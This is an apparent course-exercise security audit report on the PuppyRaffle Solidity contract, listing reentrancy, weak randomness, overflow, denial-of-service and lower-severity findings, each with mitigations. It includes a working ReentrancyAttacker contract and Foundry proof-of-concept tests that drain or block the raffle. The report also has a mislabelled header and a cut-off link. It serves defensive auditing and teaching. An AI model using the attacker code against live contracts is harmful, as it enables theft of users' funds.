PuppyRaffle Audit Report

Version 1.0

TrustWarden

August 18, 2024

PasswordStore Protocol Audit Report

TrustWarden

August 18, 2024

Prepared by: TrustWarden

Lead Security researcher:

- TrustWarden

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive
  - Issues found
- Findings
  - High
    * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance
    * [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influense or predict the winning puppy

    - [H-3] Interger overflow of `PuppyRaffle::totalFees` loses fees
  - Medium
    - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, increamenting gas costs for future entrants
    - [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to `selfdestruct` a contract to send ETH to the raffle, blocking withdrawls
    - [M-3] smart contract wallet raffle winners without a `fallback` or `receive` function will block the start of a new contest
  - Low
    - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for player at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
    - [L-2]: Loop contains `require`/`revert` statements
  - Gas
    - [G-1] Unchanged state variables should be declared constant or immutable
    - [G-2] Storage variables in a loop should be cached
  - Informational/Non-Crits
    - [I-1]: Solidity pragma should be specific, not wide
    - [I-2] Using an outdated version of solidity is not recommended
    - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    - [I-5] Use of "magic" numbers is discouraged
    - [I-6]: Event is missing `indexed` fields
    - [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed
    - [I-8] Unchanged variables should be constant or immutble

Protocol Summary

PuppyRaffle project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed

3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The TrustWarden team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
--> PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive

We spent 8hrs approximately in learning process with Cyfrin course team, and also personally reviewing and security researching and auditing on the project. It was only me that conduct this auditing. We used Slither and Aderyn for static analyses and perform manual reviewing alongside for this auditing and security reviewing, we found 3 −`HIGH`− severities in the code base that severely breaking the functionality of the entire protocol's purpose, and additionally, found 3 −`MEDIUM`− severities in the codebase project that could disrupt the functionality of the project purpose. Furthermore, found 2 more -LOW- severities, one of them might disrupt the purpose and should be fixed. And 2 -GAS- and 8 -INFO- issues was found in the codebase that be better to consider fixing them. 18 founds in total.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	2
GAS	2
Info	8
Total	18

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description: The `PuppyRaffle::refund` function does not follow (checks, effects, interactions) and as a result, enable participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call, we do update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund, they could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participants.

Proof of Concept:

1. Users enter the raffle
2. Attacker sets up a contract with a `fallback` function that calls the `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their malicious contract, draining the contract balance

Proof of Code:

Code

- Place the following into `test/PuppyRaffleTest.t.sol`

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackContract = new ReentrancyAttacker(puppyRaffle);
        // create & assinging 1 ether to attacker address
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        uint256 startRaffleBalance = address(puppyRaffle).balance;
        uint256 startAttackBalance = address(attackContract).balance;

        vm.prank(attacker);
        attackContract.attack{value: entranceFee}();

        console.log("Start raffle contract balance", startRaffleBalance);
        console.log("Start attacker contract balance", startAttackBalance);
        console.log(
            "End raffle Contract balance",
            address(puppyRaffle).balance
        );
        console.log(
            "End attacker contarct balance",
            address(attackContract).balance
        );
    }
```

- And this contract as well

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory attackerAddress = new address[](1);
        attackerAddress[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(attackerAddress);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _steal() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _steal();
    }

    receive() external payable {
        _steal();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

Code

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influense or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number, A predictable is not a good random number. Malicious users can manipulate these values or know them ahead of the time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influense the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Interger overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` interger were subject to integer overflows/underflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 50 players and gathered 10 ETH fees
2. We then have 100 players enter a new raffle, and conclude the raffle

3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 10.0 + 20.0;
// and this will overflow!
totalFees = 11.553255926290448384;
// instead of 30 ETH
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

- Place the following code into `test/PuppyRaffleTest.t.sol`

```
    function test_makeOverflow() public {
        // max_uint64: 18,446,744,073,709,551,616
        address[] memory players = new address[](50);
        for (uint256 i; i < players.length; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        console.log("first time total fees:", puppyRaffle.totalFees());

        address[] memory secondPlayers = new address[](100);
        for (uint256 i; i < secondPlayers.length; i++) {
            // can save address from 0 cause the previous data remove now
            secondPlayers[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * secondPlayers.length}(
            secondPlayers
        );

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        console.log("second time total fees:", puppyRaffle.totalFees());

        // first total fees:  10.000.000.000.000.000.000
        // second total fees: 11.553.255.926.290.448.384
        // first senario with 50 entrants ended up to earn 10 ether as fees
        // second senario with 100(2x) entrants ended up to earn 11.5+ ether as fees, and it must be 30 ether by now without colecting fees
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `safeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, increamenting gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional checks the loop will have to make.

```
    // Denial of Service (DoS) attack
@>  for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(
                players[i] != players[j],
                "PuppyRaffle: Duplicate player"
```

```
      );
    }
  }
```

Impact: The gas costs for raffle entrants will greatly increase, as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252039 gas
- 2nd 100 players: ~18068122 gas

This is 3x more expensive for the second 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_denialOfService() public {
    vm.txGasPrice(1);

    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i; i < players.length; i++) {
      players[i] = address(i);
    }
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasEnd = gasleft();
    uint256 gasUsed100First = (gasStart - gasEnd) * tx.gasprice;

    address[] memory playersSecond = new address[](playersNum);
    for (uint256 i; i < playersSecond.length; i++) {
      playersSecond[i] = address(i + playersNum);
    }
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersSecond);
    uint256 gasEndSecond = gasleft();
    uint256 gasUsed100Second = (gasStartSecond - gasEndSecond) *
      tx.gasprice;

    console.log("Gas used for the first 100:", gasUsed100First);
    console.log("Gas used for the second 100:", gasUsed100Second);

```

```
        assert(gasUsed100First < gasUsed100Second);
    }
```

Recommended Mitigation: There are a few recommendations:

1. Consider allowing duplicates.

   > Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.

2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+   mapping(address => uint256) public addressToRaffleId;
+   uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+       }
-       for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
    .
    .
    .
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        .
        .
        .
    }
```

Alternatevly, you could use [OpenZeppelin's `EnumerableSet` library] (https://docs.openzeppelin.com/contracts/4.x/a

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to `selfdestruct` a contract to send ETH to the raffle, blocking withdrawls

Description: The `PuppyRaffle::withdrawFees` function checks the totalFees equals the ETH balance of the contract (address(this).balance). Since this contract doesn't have a payable fallback or receive function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
@>      require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the feeAddress from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawl by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in its balance, and 800 totalFees
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-        require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are  currently players active!" );
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] smart contract wallet raffle winners without a `fallback` or `receive` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-contract entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

PoC

Place following code into `test/PuppyRaffleTest.t.sol`

```
    function test_DoSWinnerReject() public {
        address[] memory contracts = new address[](10);
        for (uint256 i; i < contracts.length; i++) {
            RejectPayment wallet = new RejectPayment();
            contracts[i] = address(wallet);
        }
        puppyRaffle.enterRaffle{value: entranceFee * contracts.length}(
            contracts
        );

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // to try alomst all the addresses and show rejection from all the winners
        uint256 count = 0;
        for (uint256 i; i < contracts.length; i++) {
            ++count;
            vm.expectRevert();
            puppyRaffle.selectWinner();
        }
        console.log("Count", count);
    }
```

And place this contract at the end as well

```
contract RejectPayment {}
```

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for player at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `puppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    /// @return the index of the player in the array, if they are not active, it returns 0
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns `-1` if the player is not active.

[L-2]: Loop contains `require`/`revert` statements

Avoid `require` / `revert` statements in a loop because a single bad item can cause the whole transaction to fail. It's better to forgive on fail and return failed elements post processing of the loop

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 102

```
                for (uint256 j = i + 1; j < players.length; j++) {
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variables.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory with is more gas efficient.

Code

- Found in src/PuppyRaffle.sol Line: 102

```
+        uint256 playersLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                 require(
                     players[i] != players[j],
                     "PuppyRaffle: Duplicate player"
                 );
             }
         }
```

Informational/Non-Crits

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of solidity is not recommended

Please use a newer version like `0.8.24`.

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither's documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 72

```
feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 219

```
feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (checks, effects, interactions).

```
-        (bool success, ) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success, ) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected *80) / 100;
    uint256 fee = (totalAmountCollected * 20) /100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-6]: Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 59

  ```
      event RaffleEnter(address[] newPlayers);
  ```

- Found in src/PuppyRaffle.sol Line: 60

  ```
      event RaffleRefunded(address player);
  ```

- Found in src/PuppyRaffle.sol Line: 61

```
    event FeeAddressChanged(address newFeeAddress);
```

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

- Found in src/PuppyRaffle.sol Line: 225

```
function _isActivePlayer() internal view returns (bool) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == msg.sender) {
            return true;
        }
    }
    return false;
}
```

[I-8] Unchanged variables should be constant or immutble

Constant instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```